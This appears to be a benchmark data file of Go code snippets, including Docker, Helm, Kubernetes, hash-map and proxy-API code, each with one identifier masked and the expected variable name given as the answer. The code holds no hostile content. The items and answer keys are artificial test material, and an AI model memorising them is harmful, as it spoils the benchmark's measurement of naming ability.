VolumesRW map[string]bool } var res, err = c.get(fmt.Sprintf(""/containers/%s/json"", containerId)) if err != nil { return nil, err } if res.StatusCode == http.StatusNotFound { return nil, fmt.Errorf(""No container with id %s was found."", containerId) } var dec = json.NewDecoder(res.Body) var info Info err = dec.Decode(&info) if err != nil { return nil, err } var volumes = []DockerVolume{} for path, w := range info.VolumesRW { volumes = append(volumes, DockerVolume{path, w}) } return volumes, nil } ",isCompatible 830,"package common import ( ""bytes"" ""encoding/binary"" ""encoding/json"" ""os"" ""strconv"" ""unicode"" log ""github.com/sirupsen/logrus"" ""github.com/vul-dbgen/share"" ) const FirstYear = 2014 func CreateDBFile(dbFile *DBFile) error { log.WithFields(log.Fields{""file"": dbFile.Filename}).Info(""Create database file"") header, _ := json.Marshal(dbFile.Key) buf, err := utils.MakeTar(dbFile.Files) if err != nil { log.WithFields(log.Fields{""error"": err}).Error(""Make tar file error"") return err } zb := utils.GzipBytes(buf.Bytes()) // Use local encrypt function cipherData, err := encrypt(zb, getCVEDBEncryptKey()) if err != nil { log.WithFields(log.Fields{""error"": err}).Error(""Encrypt tar file fail"") return err } b0 := make([]byte, 0) allb := bytes.NewBuffer(b0) keyLen := int32(len(header)) binary.Write(allb, binary.BigEndian, &keyLen) allb.Write(header) allb.Write(cipherData) // write to db file [MASK] , err := os.Create(dbFile.Filename) if err != nil { log.WithFields(log.Fields{""error"": err}).Error(""Create db file fail"") return err } defer [MASK] .Close() n, err := [MASK] .Write(allb.Bytes()) if err != nil || n != allb.Len() { log.WithFields(log.Fields{""error"": err}).Error(""Write file error"") return err } log.WithFields(log.Fields{""file"": dbFile.Filename, ""size"": allb.Len()}).Info(""Create database done"") return nil } func ParseYear(name string) (int, error) { for i, r := range name { if !unicode.IsDigit(r) { return strconv.Atoi(name[:i]) } } return strconv.Atoi(name) } ",fdb 831,"package service import ( ""errors"" ""github.com/go-admin-team/go-admin-core/sdk/service"" ""gorm.io/gorm"" ""go-admin/app/admin/models"" ""go-admin/app/admin/service/dto"" ""go-admin/common/actions"" cDto ""go-admin/common/dto"" ) type Comments struct { service.Service } // GetPage 获取Comments列表 func (e *Comments) GetPage(c *dto.CommentsGetPageReq, p *actions.DataPermission, [MASK] *[]models.Comments, count *int64) error { var err error var data models.Comments err = e.Orm.Model(&data). Scopes( cDto.MakeCondition(c.GetNeedSearch()), cDto.Paginate(c.GetPageSize(), c.GetPageIndex()), actions.Permission(data.TableName(), p), ). Find( [MASK] ).Limit(-1).Offset(-1). Count(count).Error if err != nil { e.Log.Errorf(""CommentsService GetPage error:%s \r\n"", err) return err } return nil } // Get 获取Comments对象 func (e *Comments) Get(d *dto.CommentsGetReq, p *actions.DataPermission, model *models.Comments) error { var data models.Comments err := e.Orm.Model(&data). Scopes( actions.Permission(data.TableName(), p), ). First(model, d.GetId()).Error if err != nil && errors.Is(err, gorm.ErrRecordNotFound) { err = errors.New(""查看对象不存在或无权查看"") e.Log.Errorf(""Service GetComments error:%s \r\n"", err) return err } if err != nil { e.Log.Errorf(""db error:%s"", err) return err } return nil } // Insert 创建Comments对象 func (e *Comments) Insert(c *dto.CommentsInsertReq) error { var err error var data models.Comments c.Generate(&data) err = e.Orm.Create(&data).Error if err != nil { e.Log.Errorf(""CommentsService Insert error:%s \r\n"", err) return err } return nil } // Update 修改Comments对象 func (e *Comments) Update(c *dto.CommentsUpdateReq, p *actions.DataPermission) error { var err error var data = models.Comments{} e.Orm.Scopes( actions.Permission(data.TableName(), p), ).First(&data, c.GetId()) c.Generate(&data) db := e.Orm.Save(&data) if err = db.Error; err != nil { e.Log.Errorf(""CommentsService Save error:%s \r\n"", err) return err } if db.RowsAffected == 0 { return errors.New(""无权更新该数据"") } return nil } // Remove 删除Comments func (e *Comments) Remove(d *dto.CommentsDeleteReq, p *actions.DataPermission) error { var data models.Comments db := e.Orm.Model(&data). Scopes( actions.Permission(data.TableName(), p), ).Delete(&data, d.GetId()) if err := db.Error; err != nil { e.Log.Errorf(""Service RemoveComments error:%s \r\n"", err) return err } if db.RowsAffected == 0 { return errors.New(""无权删除该数据"") } return nil } ",list 832,"// Copyright 2023 Dolthub, Inc. // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package swiss import ( ""github.com/dolthub/maphash"" ) const ( maxLoadFactor = float32(maxAvgGroupLoad) / float32(groupSize) ) // Map is an open-addressing hash map // based on Abseil's flat_hash_map. type Map[K comparable, V any] struct { ctrl []metadata groups []group[K, V] hash maphash.Hasher[K] resident uint32 dead uint32 limit uint32 } // metadata is the h2 metadata array for a group. // find operations first probe the controls bytes // to filter candidates before matching keys type metadata [groupSize]int8 // group is a group of 16 key-value pairs type group[K comparable, V any] struct { keys [groupSize]K values [groupSize]V } const ( h1Mask uint64 = 0xffff_ffff_ffff_ff80 h2Mask uint64 = 0x0000_0000_0000_007f empty int8 = -128 // 0b1000_0000 tombstone int8 = -2 // 0b1111_1110 ) // h1 is a 57 bit hash prefix type h1 uint64 // h2 is a 7 bit hash suffix type h2 int8 // NewMap constructs a Map. func NewMap[K comparable, V any](sz uint32) (m *Map[K, V]) { groups := numGroups(sz) m = &Map[K, V]{ ctrl: make([]metadata, groups), groups: make([]group[K, V], groups), hash: maphash.NewHasher[K](), limit: groups * maxAvgGroupLoad, } for i := range m.ctrl { m.ctrl[i] = newEmptyMetadata() } return } // Has returns true if |key| is present in |m|. func (m *Map[K, V]) Has(key K) (ok bool) { hi, lo := splitHash(m.hash.Hash(key)) g := probeStart(hi, len(m.groups)) for { // inlined find loop matches := metaMatchH2(&m.ctrl[g], lo) for matches != 0 { s := nextMatch(&matches) if key == m.groups[g].keys[s] { ok = true return } } // |key| is not in group |g|, // stop probing if we see an empty slot matches = metaMatchEmpty(&m.ctrl[g]) if matches != 0 { ok = false return } g += 1 // linear probing if g >= uint32(len(m.groups)) { g = 0 } } } // Get returns the |value| mapped by |key| if one exists. func (m *Map[K, V]) Get(key K) (value V, ok bool) { hi, lo := splitHash(m.hash.Hash(key)) g := probeStart(hi, len(m.groups)) for { // inlined find loop matches := metaMatchH2(&m.ctrl[g], lo) for matches != 0 { s := nextMatch(&matches) if key == m.groups[g].keys[s] { value, ok = m.groups[g].values[s], true return } } // |key| is not in group |g|, // stop probing if we see an empty slot matches = metaMatchEmpty(&m.ctrl[g]) if matches != 0 { ok = false return } g += 1 // linear probing if g >= uint32(len(m.groups)) { g = 0 } } } // Put attempts to insert |key| and |value| func (m *Map[K, V]) Put(key K, value V) { if m.resident >= m.limit { m.rehash(m.nextSize()) } hi, lo := splitHash(m.hash.Hash(key)) g := probeStart(hi, len(m.groups)) for { // inlined find loop matches := metaMatchH2(&m.ctrl[g], lo) for matches != 0 { s := nextMatch(&matches) if key == m.groups[g].keys[s] { // update m.groups[g].keys[s] = key m.groups[g].values[s] = value return } } // |key| is not in group |g|, // stop probing if we see an empty slot matches = metaMatchEmpty(&m.ctrl[g]) if matches != 0 { // insert s := nextMatch(&matches) m.groups[g].keys[s] = key m.groups[g].values[s] = value m.ctrl[g][s] = int8(lo) m.resident++ return } g += 1 // linear probing if g >= uint32(len(m.groups)) { g = 0 } } } // Delete attempts to remove |key|, returns true successful. func (m *Map[K, V]) Delete(key K) (ok bool) { hi, lo := splitHash(m.hash.Hash(key)) g := probeStart(hi, len(m.groups)) for { matches := metaMatchH2(&m.ctrl[g], lo) for matches != 0 { s := nextMatch(&matches) if key == m.groups[g].keys[s] { ok = true // optimization: if |m.ctrl[g]| contains any empty // metadata bytes, we can physically delete |key| // rather than placing a tombstone. // The observation is that any probes into group |g| // would already be terminated by the existing empty // slot, and therefore reclaiming slot |s| will not // cause premature termination of probes into |g|. if metaMatchEmpty(&m.ctrl[g]) != 0 { m.ctrl[g][s] = empty m.resident-- } else { m.ctrl[g][s] = tombstone m.dead++ } var k K var v V m.groups[g].keys[s] = k m.groups[g].values[s] = v return } } // |key| is not in group |g|, // stop probing if we see an empty slot matches = metaMatchEmpty(&m.ctrl[g]) if matches != 0 { // |key| absent ok = false return } g += 1 // linear probing if g >= uint32(len(m.groups)) { g = 0 } } } // Iter iterates the elements of the Map, passing them to the callback. // It guarantees that any key in the Map will be visited only once, and // for un-mutated Maps, every key will be visited once. If the Map is // Mutated during iteration, mutations will be reflected on return from // Iter, but the set of keys visited by Iter is non-deterministic. func (m *Map[K, V]) Iter(cb func(k K, v V) (stop bool)) { // take a consistent view of the table in case // we rehash during iteration ctrl, groups := m.ctrl, m.groups // pick a random starting group g := randIntN(len(groups)) for n := 0; n < len(groups); n++ { for s, c := range ctrl[g] { if c == empty || c == tombstone { continue } k, v := groups[g].keys[s], groups[g].values[s] if stop := cb(k, v); stop { return } } g++ if g >= uint32(len(groups)) { g = 0 } } } // Clear removes all elements from the Map. func (m *Map[K, V]) Clear() { for i, c := range m.ctrl { for j := range c { m.ctrl[i][j] = empty } } var k K var v V for i := range m.groups { g := &m.groups[i] for i := range g.keys { g.keys[i] = k g.values[i] = v } } m.resident, m.dead = 0, 0 } // Count returns the number of elements in the Map. func (m *Map[K, V]) Count() int { return int(m.resident - m.dead) } // Capacity returns the number of additional elements // the can be added to the Map before resizing. func (m *Map[K, V]) Capacity() int { return int(m.limit - m.resident) } // find returns the location of |key| if present, or its insertion location if absent. // for performance, find is manually inlined into public methods. func (m *Map[K, V]) find(key K, hi h1, lo h2) (g, s uint32, ok bool) { g = probeStart(hi, len(m.groups)) for { matches := metaMatchH2(&m.ctrl[g], lo) for matches != 0 { s = nextMatch(&matches) if key == m.groups[g].keys[s] { return g, s, true } } // |key| is not in group |g|, // stop probing if we see an empty slot matches = metaMatchEmpty(&m.ctrl[g]) if matches != 0 { s = nextMatch(&matches) return g, s, false } g += 1 // linear probing if g >= uint32(len(m.groups)) { g = 0 } } } func (m *Map[K, V]) nextSize() (n uint32) { n = uint32(len(m.groups)) * 2 if m.dead >= (m.resident / 2) { n = uint32(len(m.groups)) } return } func (m *Map[K, V]) rehash(n uint32) { groups, ctrl := m.groups, m.ctrl m.groups = make([]group[K, V], n) m.ctrl = make([]metadata, n) for i := range m.ctrl { m.ctrl[i] = newEmptyMetadata() } m.hash = maphash.NewSeed(m.hash) m.limit = n * maxAvgGroupLoad m.resident, m.dead = 0, 0 for g := range ctrl { for s := range ctrl[g] { c := ctrl[g][s] if c == empty || c == tombstone { continue } m.Put(groups[g].keys[s], groups[g].values[s]) } } } func (m *Map[K, V]) loadFactor() float32 { [MASK] := float32(len(m.groups) * groupSize) return float32(m.resident-m.dead) / [MASK] } // numGroups returns the minimum number of groups needed to store |n| elems. func numGroups(n uint32) (groups uint32) { groups = (n + maxAvgGroupLoad - 1) / maxAvgGroupLoad if groups == 0 { groups = 1 } return } func newEmptyMetadata() (meta metadata) { for i := range meta { meta[i] = empty } return } func splitHash(h uint64) (h1, h2) { return h1((h & h1Mask) >> 7), h2(h & h2Mask) } func probeStart(hi h1, groups int) uint32 { return fastModN(uint32(hi), uint32(groups)) } // lemire.me/blog/2016/06/27/a-fast-alternative-to-the-modulo-reduction/ func fastModN(x, n uint32) uint32 { return uint32((uint64(x) * uint64(n)) >> 32) } ",slots 833,"package main import ( ""context"" ""flag"" ""io"" ""math/rand"" ""slices"" ""github.com/ClickHouse/ch-go"" ""github.com/ClickHouse/ch-go/proto"" ""github.com/go-faster/city"" ""github.com/go-faster/errors"" ""github.com/go-faster/sdk/app"" ""go.opentelemetry.io/otel/attribute"" ""go.uber.org/zap"" ""github.com/go-faster/otlab/internal/model"" ) func main() { app.Run(func(ctx context.Context, lg *zap.Logger, m *app.Metrics) error { // Fill resources table. var arg struct { ResourceCount int } flag.IntVar(&arg.ResourceCount, ""resource-count"", 100_000_000, ""resource count"") flag.Parse() client, err := ch.Dial(ctx, ch.Options{}) if err != nil { return err } res, err := app.Resource(ctx) if err != nil { return err } rnd := rand.New(rand.NewSource(0)) // #nosec G404 newResource := func() (keys, values []string, data []byte) { attrs := slices.Clone(res.Attributes()) attrs = append(attrs, attribute.Int(""service.id"", rnd.Int())) set := attribute.NewSet(attrs...) [MASK] := set.Iter() for [MASK] .Next() { a := [MASK] .Attribute() keys = append(keys, string(a.Key)) values = append(values, a.Value.Emit()) } data, err = model.MarshalAttrSet(set) if err != nil { panic(err) } return keys, values, data } var ( id proto.ColUInt128 keys = new(proto.ColStr).Array() values = new(proto.ColStr).Array() ) input := proto.Input{ {Name: ""id"", Data: &id}, {Name: ""keys"", Data: keys}, {Name: ""values"", Data: values}, } var total int fillBatch := func() { input.Reset() const size = 200_000 for i := 0; i < size; i++ { k, v, data := newResource() h := city.Hash128(data) id.Append(proto.UInt128(h)) values.Append(v) keys.Append(k) } total += size } fillBatch() if err := client.Do(ctx, ch.Query{ Input: input, Body: input.Into(""resources_kv""), OnInput: func(ctx context.Context) error { if total >= arg.ResourceCount { return io.EOF } fillBatch() return nil }, }); err != nil { return errors.Wrap(err, ""insert"") } return nil }) } ",iter 834,"package timestamp import ( ""strconv"" ""time"" ) // Simple timestamp utility functions to ensure we always work in UTC func Now() time.Time { return time.Now().UTC() } func Nano() int64 { return time.Now().UTC().UnixNano() } func Milli() int64 { return Nano() / int64(time.Millisecond) } func Sec() int64 { return time.Now().UTC().Unix() } func MilliFrom(nsec int64) int64 { return nsec / 1e6 } func NanoStringToTime(input string) string { val, err := strconv.ParseInt(input, 10, 64) if err != nil { return """" } seconds := int64(val / int64(time.Second)) nseconds := seconds * int64(time.Second) nleft := val - nseconds t := time.Unix(seconds, nleft) return t.UTC().Format(time.RFC3339Nano) } func ToEpoche(t time.Time) string { return t.Format(time.RFC3339Nano) } func FromEpoche( [MASK] string) (time.Time, error) { return time.Parse(time.RFC3339Nano, [MASK] ) } ",epoche 835,"package goiera import ( ""strings"" ""github.com/ghodss/yaml"" ) type Number string type Bool string type Config interface { GetValue(field string) interface{} GetString(field string) []string } type Value interface{} type fieldPath struct { path []string fieldName string } type config map[string]interface{} func UnmarshalConfig( [MASK] []byte) Config { conf := config{} yaml.Unmarshal( [MASK] , &conf) return conf } func newFieldPath(field string) (fp fieldPath) { fields := strings.Split(field, SEPARATOR) fieldsLen := len(fields) if fieldsLen == 0 || fields[0] == """" { return } fp.fieldName = fields[fieldsLen-1] fp.path = fields[0 : fieldsLen-1] return } func (c config) GetValue(field string) (value interface{}) { fp := newFieldPath(field) t := c f, ok := t[fp.fieldName] if ok { value = f } for _, node := range fp.path { n, ok := t[node] if ok { if nmap, ok := n.(map[string]interface{}); ok { v, ok := nmap[fp.fieldName] t = nmap if ok { value = v } } } else { return } } return } func (c config) GetString(field string) []string { f := c.GetValue(field) switch f.(type) { case []interface{}: b := make([]string, len(f.([]interface{}))) for i := range f.([]interface{}) { b[i] = f.([]interface{})[i].(string) } return b case interface{}: return []string{f.(string)} default: return []string{} } } ",cbytes 836,"package main import ( ""fmt"" ""github.com/stianeikeland/go-rpio"" ""os"" ""time"" ) const ( lightOne = iota lightTwo lightThree lightFour lightFive lightSix ) const ( ledAInBCM = rpio.Pin(2) ledBInBCM = rpio.Pin(3) ledCInBCM = rpio.Pin(4) ledDInBCM = rpio.Pin(17) ledEInBCM = rpio.Pin(27) ledFInBCM = rpio.Pin(22) ledGInBCM = rpio.Pin(10) ledDFInBCM = rpio.Pin(9) ) const ( numOneInBCM = rpio.Pin(14) numTwoInBCM = rpio.Pin(15) numThreeInBCM = rpio.Pin(18) numFourInBCM = rpio.Pin(23) numFiveInBCM = rpio.Pin(24) numSixInBCM = rpio.Pin(25) ) var ( arrayLight = []rpio.Pin {numOneInBCM, numTwoInBCM, numThreeInBCM, numFourInBCM, numFiveInBCM, numSixInBCM} arrayLed = []rpio.Pin {ledAInBCM, ledBInBCM, ledCInBCM, ledDInBCM, ledEInBCM, ledFInBCM, ledGInBCM, ledDFInBCM} hour, min, sec int currentLight int = -1; currentNum int = 0; ) func main() { ticker := time.NewTicker(time.Millisecond * 2) go func() { if err := rpio.Open(); err != nil { fmt.Println(err) os.Exit(1) } defer rpio.Close() for _, pin := range arrayLight{ pin.Output() } for _, pin := range arrayLed{ pin.Output() } for t := range ticker.C { fmt.Println(""Currnt time is "", t) hour, min, sec = t.Clock() currentLight = (currentLight + 1) % 6 switch currentLight { case lightOne: currentNum = hour / 10 case lightTwo: currentNum = hour % 10 case lightThree: currentNum = min / 10 case lightFour: currentNum = min % 10 case lightFive: currentNum = sec / 10 case lightSix: currentNum = sec % 10 } lightNumber(currentLight, currentNum) } }() } func lightNumber(light int, [MASK] int) { for _, pin := range arrayLight{ pin.Low() } ledDFInBCM.High() switch [MASK] { case 0: ledAInBCM.Low() ledBInBCM.Low() ledCInBCM.Low() ledDInBCM.Low() ledEInBCM.Low() ledFInBCM.Low() ledGInBCM.High() case 1: ledAInBCM.High() ledBInBCM.Low() ledCInBCM.Low() ledDInBCM.High() ledEInBCM.High() ledFInBCM.High() ledGInBCM.High() case 2: ledAInBCM.Low() ledBInBCM.Low() ledCInBCM.High() ledDInBCM.Low() ledEInBCM.Low() ledFInBCM.High() ledGInBCM.Low() case 3: ledAInBCM.Low() ledBInBCM.Low() ledCInBCM.Low() ledDInBCM.Low() ledEInBCM.High() ledFInBCM.High() ledGInBCM.Low() case 4: ledAInBCM.High() ledBInBCM.Low() ledCInBCM.Low() ledDInBCM.High() ledEInBCM.High() ledFInBCM.Low() ledGInBCM.Low() case 5: ledAInBCM.Low() ledBInBCM.High() ledCInBCM.Low() ledDInBCM.Low() ledEInBCM.Low() ledFInBCM.Low() ledGInBCM.Low() case 6: ledAInBCM.Low() ledBInBCM.High() ledCInBCM.Low() ledDInBCM.Low() ledEInBCM.Low() ledFInBCM.Low() ledGInBCM.Low() case 7: ledAInBCM.Low() ledBInBCM.Low() ledCInBCM.Low() ledDInBCM.High() ledEInBCM.High() ledFInBCM.High() ledGInBCM.High() case 8: ledAInBCM.Low() ledBInBCM.Low() ledCInBCM.Low() ledDInBCM.Low() ledEInBCM.Low() ledFInBCM.Low() ledGInBCM.Low() case 9: ledAInBCM.Low() ledBInBCM.Low() ledCInBCM.Low() ledDInBCM.Low() ledEInBCM.High() ledFInBCM.Low() ledGInBCM.Low() } if light == lightFour { ledDFInBCM.Low() } arrayLight[light].High() } ",number 837,"package main import ( ""encoding/csv"" ""os"" ""strings"" ""context"" ""flag"" ""path/filepath"" ""golang.org/x/sync/errgroup"" ""k8s.io/client-go/rest"" ""k8s.io/client-go/tools/clientcmd"" ""k8s.io/client-go/util/homedir"" ""github.com/redhat-appstudio/migration/dashboard/pkg/api"" applicationapiv1alpha1 ""github.com/redhat-appstudio/application-api/api/v1alpha1"" ""k8s.io/apimachinery/pkg/runtime"" utilruntime ""k8s.io/apimachinery/pkg/util/runtime"" clientgoscheme ""k8s.io/client-go/kubernetes/scheme"" integv1alpha1 ""github.com/redhat-appstudio/integration-service/api/v1alpha1"" releasev1alpha1 ""github.com/redhat-appstudio/release-service/api/v1alpha1"" // ""k8s.io/apimachinery/pkg/runtime/serializer"" runtimeclient ""sigs.k8s.io/controller-runtime/pkg/client"" corev1 ""k8s.io/api/core/v1"" ) var ( scheme = runtime.NewScheme() ) type AppConfigMap map[string]*api.AppConfig type NsToAppConfigs map[string][]AppConfigMap func init() { utilruntime.Must(clientgoscheme.AddToScheme(scheme)) utilruntime.Must(releasev1alpha1.AddToScheme(scheme)) utilruntime.Must(applicationapiv1alpha1.AddToScheme(scheme)) utilruntime.Must(integv1alpha1.AddToScheme(scheme)) //+kubebuilder:scaffold:scheme } func main() { restConfig := loadRestConfig() cl, err := runtimeclient.New(restConfig, runtimeclient.Options{ Scheme: scheme, }) if err != nil { panic(err) } ns, err := GetNamespaces(cl, context.Background()) if err != nil { panic(err) } [MASK] , err := LoadAppConfigs(cl, ns, context.Background()) if err != nil { panic(err) } AppConfigsToCSV( [MASK] ) } func loadRestConfig() *rest.Config { flag.CommandLine = flag.NewFlagSet(os.Args[0], flag.ExitOnError) var kubeconfig *string if home := homedir.HomeDir(); home != """" { kubeconfig = flag.String( ""kubeconfig"", filepath.Join(home, "".kube"", ""config""), ""(optional) absolute path to the kubeconfig file"", ) } else { kubeconfig = flag.String(""kubeconfig"", """", ""absolute path to the kubeconfig file"") } flag.Parse() // use the current context in kubeconfig config, err := clientcmd.BuildConfigFromFlags("""", *kubeconfig) if err != nil { panic(err.Error()) } return config } func GetNamespaces(cl runtimeclient.Client, ctx context.Context) (*corev1.NamespaceList, error) { nsList := &corev1.NamespaceList{} err := cl.List(ctx, nsList) if err != nil { return nil, err } return nsList, nil } func LoadAppConfigs(cl runtimeclient.Client, namespaces *corev1.NamespaceList, ctx context.Context) (NsToAppConfigs, error) { g, ctx := errgroup.WithContext(ctx) g.SetLimit(3) nsToAppConfig := make(NsToAppConfigs) for _, ns := range namespaces.Items { if !strings.HasSuffix(ns.Name, ""-tenant"") { continue } nsName := ns.Name g.Go(func() error { appConfig, err := LoadAppConfigMap(cl, nsName, ctx) if err != nil { return err } nsToAppConfig[nsName] = append(nsToAppConfig[nsName], appConfig) return nil }) } if err := g.Wait(); err != nil { return nil, err } return nsToAppConfig, nil } func LoadAppConfigMap(cl runtimeclient.Client, namespace string, ctx context.Context) (AppConfigMap, error) { inNamespace := runtimeclient.InNamespace(namespace) g, ctx := errgroup.WithContext(ctx) apps := &applicationapiv1alpha1.ApplicationList{} g.Go(func() error { return cl.List(ctx, apps, inNamespace) }) components := &applicationapiv1alpha1.ComponentList{} g.Go(func() error { return cl.List(ctx, components, inNamespace) }) integTests := &integv1alpha1.IntegrationTestScenarioList{} g.Go(func() error { return cl.List(ctx, integTests, inNamespace) }) releasePlans := &releasev1alpha1.ReleasePlanList{} g.Go(func() error { return cl.List(ctx, releasePlans, inNamespace) }) if err := g.Wait(); err != nil { return nil, err } appConfigMap := make(AppConfigMap) if len(apps.Items) == 0 { return appConfigMap, nil } for _, app := range apps.Items { appConfigMap[app.Name] = &api.AppConfig{Application: app} } for _, comp := range components.Items { appConfigMap[comp.Spec.Application].AddComponent(comp) } for _, test := range integTests.Items { appConfigMap[test.Spec.Application].AddTest(test) } for _, rp := range releasePlans.Items { appConfigMap[rp.Spec.Application].AddReleasePlan(rp) } return appConfigMap, nil } func AppConfigsToCSV(nsToAppconfigMaps NsToAppConfigs) error { f, err := os.Create(""result.csv"") if err != nil { return err } defer f.Close() w := csv.NewWriter(f) defer w.Flush() err = w.Write([]string{ ""Workspace"", ""AppName"", ""ComponentName"", ""Enabled?"", ""IntegrationTests"", ""ReleasePlans"", }) if err != nil { return err } for ns, appConfigMaps := range nsToAppconfigMaps { for _, appConfigMap := range appConfigMaps { for appName, appConfig := range appConfigMap { for _, comp := range appConfig.Components { isEnabled := ""No"" if len(comp.Spec.ContainerImage) > 0 { isEnabled = ""Yes"" } err := w.Write([]string{ ns, appName, comp.Name, isEnabled, appConfig.GetTestNames(), appConfig.GetReleasePlanNames(), }) if err != nil { return err } } } } } return nil } ",appConfigs 838,"package onlinesim import ( ""encoding/json"" ""fmt"" ""strconv"" ) type GetProxy struct { client *Onlinesim } type ProxyResponse struct { Response interface{} `json:""response""` Item Proxy `json:""item""` } type Proxy struct { Type string `json:""type""` ConnectType string `json:""connect_type""` Host string `json:""host""` Port int `json:""port""` User string `json:""user""` Pass string `json:""pass""` Operator string `json:""operator""` Rent interface{} `json:""rent""` GeneralTraffic int `json:""general_traffic""` Traffic int `json:""traffic""` Country string `json:""country""` City string `json:""city""` Session bool `json:""session""` PortCount int `json:""port_count""` Rotate interface{} `json:""rotate""` StopAt string `json:""stop_at""` UpdatedAt string `json:""updated_at""` CreatedAt string `json:""created_at""` Tzid int `json:""tzid""` Time int `json:""time""` Days int `json:""days""` Hours int `json:""hours""` ChangeIP bool `json:""change_ip""` ChangeType bool `json:""change_type""` } func (c *GetProxy) GetDays( [MASK] string) (error, Proxy) { m := make(map[string]string) m[""type""] = [MASK] m[""class""] = ""days"" result := c.client.get(""proxy/getProxy"", m) response := ProxyResponse{} err := json.Unmarshal(result, &response) if err != nil { return fmt.Errorf(""%w"", err), Proxy{} } err = c.client.checkResponse(response.Response) if err != nil { return fmt.Errorf(""%w"", err), Proxy{} } return nil, response.Item } func (c *GetProxy) GetTraffic(traffic string) (error, Proxy) { m := make(map[string]string) m[""class""] = ""traffic"" m[""count""] = traffic result := c.client.get(""proxy/getProxy"", m) response := ProxyResponse{} err := json.Unmarshal(result, &response) if err != nil { return fmt.Errorf(""%w"", err), Proxy{} } err = c.client.checkResponse(response.Response) if err != nil { return fmt.Errorf(""%w"", err), Proxy{} } return nil, response.Item } type ProxyStateResponse struct { Response interface{} `json:""response""` List []Proxy `json:""list""` } func (c *GetProxy) State(orderby string) (error, []Proxy) { m := make(map[string]string) m[""orderby""] = orderby result := c.client.get(""proxy/getState"", m) response := ProxyStateResponse{} err := json.Unmarshal(result, &response) if err != nil { return fmt.Errorf(""%w"", err), []Proxy{} } err = c.client.checkResponse(response.Response) if err != nil { return fmt.Errorf(""%w"", err), []Proxy{} } return nil, response.List } func (c *GetProxy) StateOne(tzid int) (error, Proxy) { m := make(map[string]string) m[""tzid""] = strconv.Itoa(tzid) result := c.client.get(""proxy/getState"", m) response := ProxyStateResponse{} err := json.Unmarshal(result, &response) if err != nil { return fmt.Errorf(""%w"", err), Proxy{} } err = c.client.checkResponse(response.Response) if err != nil { return fmt.Errorf(""%w"", err), Proxy{} } return nil, response.List[0] } func (c *GetProxy) ChangeIp(tzid int) (error, bool) { m := make(map[string]string) m[""tzid""] = strconv.Itoa(tzid) result := c.client.get(""proxy/changeIp"", m) err := c.client.checkEmptyResponse(result) if err != nil { return fmt.Errorf(""%w"", err), false } return nil, true } type ChangeTypeResponse struct { Response interface{} `json:""response""` ConnectType string `json:""connect_type""` } func (c *GetProxy) ChangeType(tzid int) (error, string) { m := make(map[string]string) m[""tzid""] = strconv.Itoa(tzid) result := c.client.get(""proxy/changeType"", m) response := ChangeTypeResponse{} err := json.Unmarshal(result, &response) if err != nil { return fmt.Errorf(""%w"", err), """" } err = c.client.checkResponse(response.Response) if err != nil { return fmt.Errorf(""%w"", err), """" } return nil, response.ConnectType } func (c *GetProxy) SetComment(tzid int, comment string) (error, bool) { m := make(map[string]string) m[""tzid""] = strconv.Itoa(tzid) m[""comment""] = comment result := c.client.get(""proxy/setComment"", m) err := c.client.checkEmptyResponse(result) if err != nil { return fmt.Errorf(""%w"", err), false } return nil, true } ",proxy_type 839,"/******************************************************************************* * * Copyright 2019 SAP SE * * Licensed under the Apache License, Version 2.0 (the ""License""); * you may not use this file except in compliance with the License. * You should have received a copy of the License along with this * program. If not, you may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an ""AS IS"" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * *******************************************************************************/ package helm import ( ""bytes"" ""fmt"" ""github.com/pkg/errors"" ""k8s.io/helm/pkg/downloader"" ""os"" ""path/filepath"" ""sort"" ""strings"" ""sync"" ""github.com/Masterminds/semver"" ""k8s.io/helm/pkg/chartutil"" ""k8s.io/helm/pkg/getter"" helm_env ""k8s.io/helm/pkg/helm/environment"" ""k8s.io/helm/pkg/repo"" ) const ( requirementsName = ""requirements.yaml"" chartMetadataName = ""Chart.yaml"" filePrefix = ""file://"" ) // ListOutdatedDependencies returns a list of outdated dependencies of the given chart. func ListOutdatedDependencies(chartPath string, helmSettings *helm_env.EnvSettings, dependencyFilter *Filter) ([]*Result, error) { chartDeps, err := loadDependencies(chartPath, dependencyFilter) if err != nil { if err == chartutil.ErrRequirementsNotFound { fmt.Printf(""Chart %v has no requirements.\n"", chartPath) return nil, nil } return nil, err } if err = parallelRepoUpdate(chartDeps, helmSettings); err != nil { return nil, err } var res []*Result for _, dep := range chartDeps.Dependencies { depVersion, err := semver.NewVersion(dep.Version) if err != nil { fmt.Printf(""Error creating semVersion for dependency %s: %s"", dep.Name, err.Error()) continue } latestVersion, err := findLatestVersionOfDependency(dep, helmSettings) if err != nil { fmt.Printf(""Error getting latest version of %s: %s\n"", dep.Name, err.Error()) continue } if depVersion.LessThan(latestVersion) { currentVersion, err := semver.NewVersion(dep.Version) if err != nil { continue } res = append(res, &Result{ Dependency: dep, CurrentVersion: currentVersion, LatestVersion: latestVersion, }) } } return sortResultsAlphabetically(res), nil } // UpdateDependencies updates the dependencies of the given chart. func UpdateDependencies(chartPath string, [MASK] []*Result, indent int, helmSettings *helm_env.EnvSettings) error { c, err := chartutil.Load(chartPath) if err != nil { return err } reqs, err := chartutil.LoadRequirements(c) if err != nil { return err } for _, newDep := range [MASK] { for _, oldDep := range reqs.Dependencies { if newDep.Name == oldDep.Name && newDep.Repository == newDep.Repository { oldDep.Version = newDep.LatestVersion.String() } } } reqs = sortRequirementsAlphabetically(reqs) if err := writeRequirements(chartPath, reqs, indent); err != nil { return err } return syncRequirementsLock(chartPath, helmSettings) } func syncRequirementsLock(chartPath string, helmSettings *helm_env.EnvSettings) error { var out bytes.Buffer debug := false if v, ok := os.LookupEnv(""DEBUG""); ok { debug = v == ""true"" } dm := downloader.Manager{ Out: &out, ChartPath: chartPath, HelmHome: helmSettings.Home, Verify: downloader.VerifyNever, Debug: debug, Keyring: os.ExpandEnv(""$HOME/.gnupg/pubring.gpg""), SkipUpdate: true, Getters: getter.All(*helmSettings), } // Try to update the dependencies assuming the repositories were refreshed already. // If not, update the repositories and try again. if err := 